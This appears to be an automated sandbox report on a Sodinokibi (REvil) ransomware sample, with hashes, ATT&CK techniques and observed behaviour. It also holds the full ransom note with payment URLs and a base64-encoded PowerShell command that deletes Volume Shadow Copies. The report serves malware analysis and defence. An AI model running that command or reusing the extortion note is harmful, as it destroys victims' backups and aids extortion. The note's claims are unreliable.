sodinokibi | 7559e6ca8b77400f88bf4e67208a1c32570a670068eccae9e3d226cc5471bd47

Resubmissions

14/04/2025, 17:40

250414-v89s1swlw9 10

05/02/2025, 06:51

05/02/2025, 06:49

28/04/2024, 18:31

21/04/2024, 08:57

21/04/2024, 05:45

18/04/2024, 19:05

18/04/2024, 16:34

Analysis

max time kernel
432s
max time network
432s
platform
windows10-2004_x64
resource
win10v2004-20250314-en
resource tags

arch:x64arch:x86image:win10v2004-20250314-enlocale:en-usos:windows10-2004-x64system
submitted
14/04/2025, 17:40

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General

Target

bazaar.2020.02/HEUR-Trojan-Ransom.Win32.Sodin.dll
Size

164KB
MD5

d017828944f5365b17520051ac994d03
SHA1

7a5b42b5645b9685dc3864a860dd3f4a042ffc50
SHA256

22e6baf4d3e4dba5f6f3ab349700d0169eeeb4a989b20b64a6aefba8be9fa64a
SHA512

58e259497c0cc3bec6527685d33afa9137fcb5640be1c57b390a2ef69b1878d34f72723f5587d984d84a5b5558961a8731285b4cf3c3b733a931bd6a4d8eb4c0
SSDEEP

3072:v0XoUeZ/DVS8L73ea4MoCLfqQvFfDRPzOYQPbkMK:veoUeZR2TRCWQFf9PHQPbvK

Score

10^/10

sodinokibi discovery ransomware

Malware Config

Extracted

Path

C:\Program Files (x86)\2xm35woj1-readme.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your system has extension 2xm35woj1. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/70ADBE5CF8C7889D 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.cc/70ADBE5CF8C7889D Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: GW0epgpdrvKlnXq/Om+4mSTVrjJeh4FrJau4IETWwXpdwug9EENNCpqqiVVmylaS v3xZwUR9cNmcmjEeQxSGhtZZR+KCeeOxZd7dxgYfym9nUy0lMmtbxJjb3bYxiSPt wD4PgIArCL9lw9geaj+m7CHQ7uR9WQY1dOgqS8A1aZRW/lznxL6HndCqynkHHlCI p8W5sLfU0ihVTXVHv2oUa0S7UAFy//kImEs8rN9XIeg+dvjm9h7iT2wFRj7ialn7 lCb3QtWq2qSRNzZz3DFUpfhZnDNaNFPJTYd4+ULCq3CYzNrL0y/k5V6wIQ1/I9lI K2ob4zt4TGBt1F1+p5SgfwT3ns7D9TmJrg85vJChQnBQPhaG9GERgUxOYhwFZN93 CmfOOFXLSQYtsKKrg8bsIggxvu7Q6Jz+xVFnB9hZ1JXWwU1Q+R1ZW+6OGnHdb7LV +I5g/hHcBMTc/pyg9gex+TkYYB8ekO9VdVHcp4LItetjyLrmHyVi21kSLI7pMDRi tiFbj82Ftmx5YEhzK3ljqaXDtdlVG0P5ZbKibqxf0RBsSQXiem10p8Oirs7UarVd OgO1a8yV5Zoxhy+BYng5TZtcFMJASqJAK0x0M6kBh+ME4cMihU17F3BtMXZPfYU4 iNI9beMzUJ2TQyWw6KuClw8HI616rrtf17x+8bmhlaaV27h5sp3lmCx4jVrpMJIs q3gK5m5cQo+6qhsp/CGXhwFQTru9BlNTx5hUjyhPv427pidO1b7LSHyPjjRG+bi1 sLx5Uuewe6LqoGw1SRe2YegAUBDdgCI2JhQwIKTQ/hqqVTIeARwuNEJ2KFsClhZG inbugrRBtTRRF9mwtuxhYQCvgLYhGhHJIyaIz8NY6qdQIDHENHXHPm8iCxKBDWGv joOiYzqzHAXimzTiw49qCwW3f6lizbvvXGRAqL0bC5J6m4p8XtdGjiKyBg6lVCD+ bXJFLPspzNk/PZvkZ8HnolFbpgUZMubWG6jvrK5IhXWPCRB+5YMD4xltOmhqp7tw lx/+QrTjSGZL992v89pak2HQFlWY/I9Bus+Hyw1pBlxfsa623saJTeiFOaRQq1yd Snh6uEPzf5ZlNrnul8iCK1wlsexWKVT+TXzUJXN+opHT6BsUVNYLNlgo22aWOuuD MXSLZ349I3FVDlVJIh/x6vkf8w5NIi582P1CGfqZdCgoK/ZvE21ZKE7RtNzy86Ug PoAHchQRgWkB2kHjLUddrABbZShXEEW+ ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/70ADBE5CF8C7889D

http://decryptor.cc/70ADBE5CF8C7889D

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi
Sodinokibi family
sodinokibi

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\Q:	rundll32.exe
File opened (read-only)	\??\E:	rundll32.exe
File opened (read-only)	\??\H:	rundll32.exe
File opened (read-only)	\??\I:	rundll32.exe
File opened (read-only)	\??\K:	rundll32.exe
File opened (read-only)	\??\S:	rundll32.exe
File opened (read-only)	\??\Z:	rundll32.exe
File opened (read-only)	\??\B:	rundll32.exe
File opened (read-only)	\??\O:	rundll32.exe
File opened (read-only)	\??\T:	rundll32.exe
File opened (read-only)	\??\U:	rundll32.exe
File opened (read-only)	\??\W:	rundll32.exe
File opened (read-only)	\??\D:	rundll32.exe
File opened (read-only)	\??\F:	rundll32.exe
File opened (read-only)	\??\A:	rundll32.exe
File opened (read-only)	\??\J:	rundll32.exe
File opened (read-only)	\??\M:	rundll32.exe
File opened (read-only)	\??\P:	rundll32.exe
File opened (read-only)	\??\V:	rundll32.exe
File opened (read-only)	\??\X:	rundll32.exe
File opened (read-only)	\??\G:	rundll32.exe
File opened (read-only)	\??\L:	rundll32.exe
File opened (read-only)	\??\N:	rundll32.exe
File opened (read-only)	\??\R:	rundll32.exe
File opened (read-only)	\??\Y:	rundll32.exe

Drops file in Program Files directory 15 IoCs

description	ioc	Process
File opened for modification	\??\c:\program files\CompleteConvert.wav	rundll32.exe
File opened for modification	\??\c:\program files\CopyMount.mp4	rundll32.exe
File created	\??\c:\program files (x86)\2xm35woj1-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\CompressReset.3g2	rundll32.exe
File opened for modification	\??\c:\program files\GrantUninstall.edrwx	rundll32.exe
File created	\??\c:\program files\2xm35woj1-readme.txt	rundll32.exe
File opened for modification	\??\c:\program files\chrome_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\HideRegister.dib	rundll32.exe
File opened for modification	\??\c:\program files\msedge_installer.log	rundll32.exe
File opened for modification	\??\c:\program files\ConvertToSave.m4v	rundll32.exe
File opened for modification	\??\c:\program files\ImportPush.clr	rundll32.exe
File opened for modification	\??\c:\program files\RegisterDisable.tiff	rundll32.exe
File opened for modification	\??\c:\program files\ResumeDisconnect.doc	rundll32.exe
File opened for modification	\??\c:\program files\UndoClear.xla	rundll32.exe
File opened for modification	\??\c:\program files\UnpublishDisconnect.m4a	rundll32.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rundll32.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1652	rundll32.exe
1652	rundll32.exe
6048	powershell.exe
6048	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1652	rundll32.exe
Token: SeDebugPrivilege	6048	powershell.exe
Token: SeBackupPrivilege	4640	vssvc.exe
Token: SeRestorePrivilege	4640	vssvc.exe
Token: SeAuditPrivilege	4640	vssvc.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5424 wrote to memory of 1652	5424	rundll32.exe	86
PID 5424 wrote to memory of 1652	5424	rundll32.exe	86
PID 5424 wrote to memory of 1652	5424	rundll32.exe	86
PID 1652 wrote to memory of 6048	1652	rundll32.exe	89
PID 1652 wrote to memory of 6048	1652	rundll32.exe	89

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
1⤵
- Suspicious use of WriteProcessMemory
PID:5424
- C:\Windows\SysWOW64\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\bazaar.2020.02\HEUR-Trojan-Ransom.Win32.Sodin.dll,#1
  2⤵
  - Enumerates connected drives
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1652
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:6048

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:4676

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4640

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Program Files (x86)\2xm35woj1-readme.txt

Filesize
6KB

MD5
a69e241730f037955107b6d52e1718ee

SHA1
150cde443b9e599056c1087b524226b6682506f6

SHA256
d4c49774c9b412dc8c070cf7899a3ae38fb2f0c41f0b543365e4476301fa556f

SHA512
e9134edf630addf608df98b1b08d3e9c9ed364aabf3ef1c49d560fd3d51c37ddc208d5c069595ad0c84f02da9818714d90a1369fac439feb60b3bdb9c7d657fe

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pksew1iw.ddg.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/6048-0-0x00007FF9DFF63000-0x00007FF9DFF65000-memory.dmp

Filesize
8KB

Download
memory/6048-7-0x0000019BE4DA0000-0x0000019BE4DC2000-memory.dmp

Filesize
136KB

Download
memory/6048-11-0x00007FF9DFF60000-0x00007FF9E0A21000-memory.dmp

Filesize
10.8MB

Download
memory/6048-12-0x00007FF9DFF60000-0x00007FF9E0A21000-memory.dmp

Filesize
10.8MB

Download
memory/6048-15-0x00007FF9DFF60000-0x00007FF9E0A21000-memory.dmp

Filesize
10.8MB

Download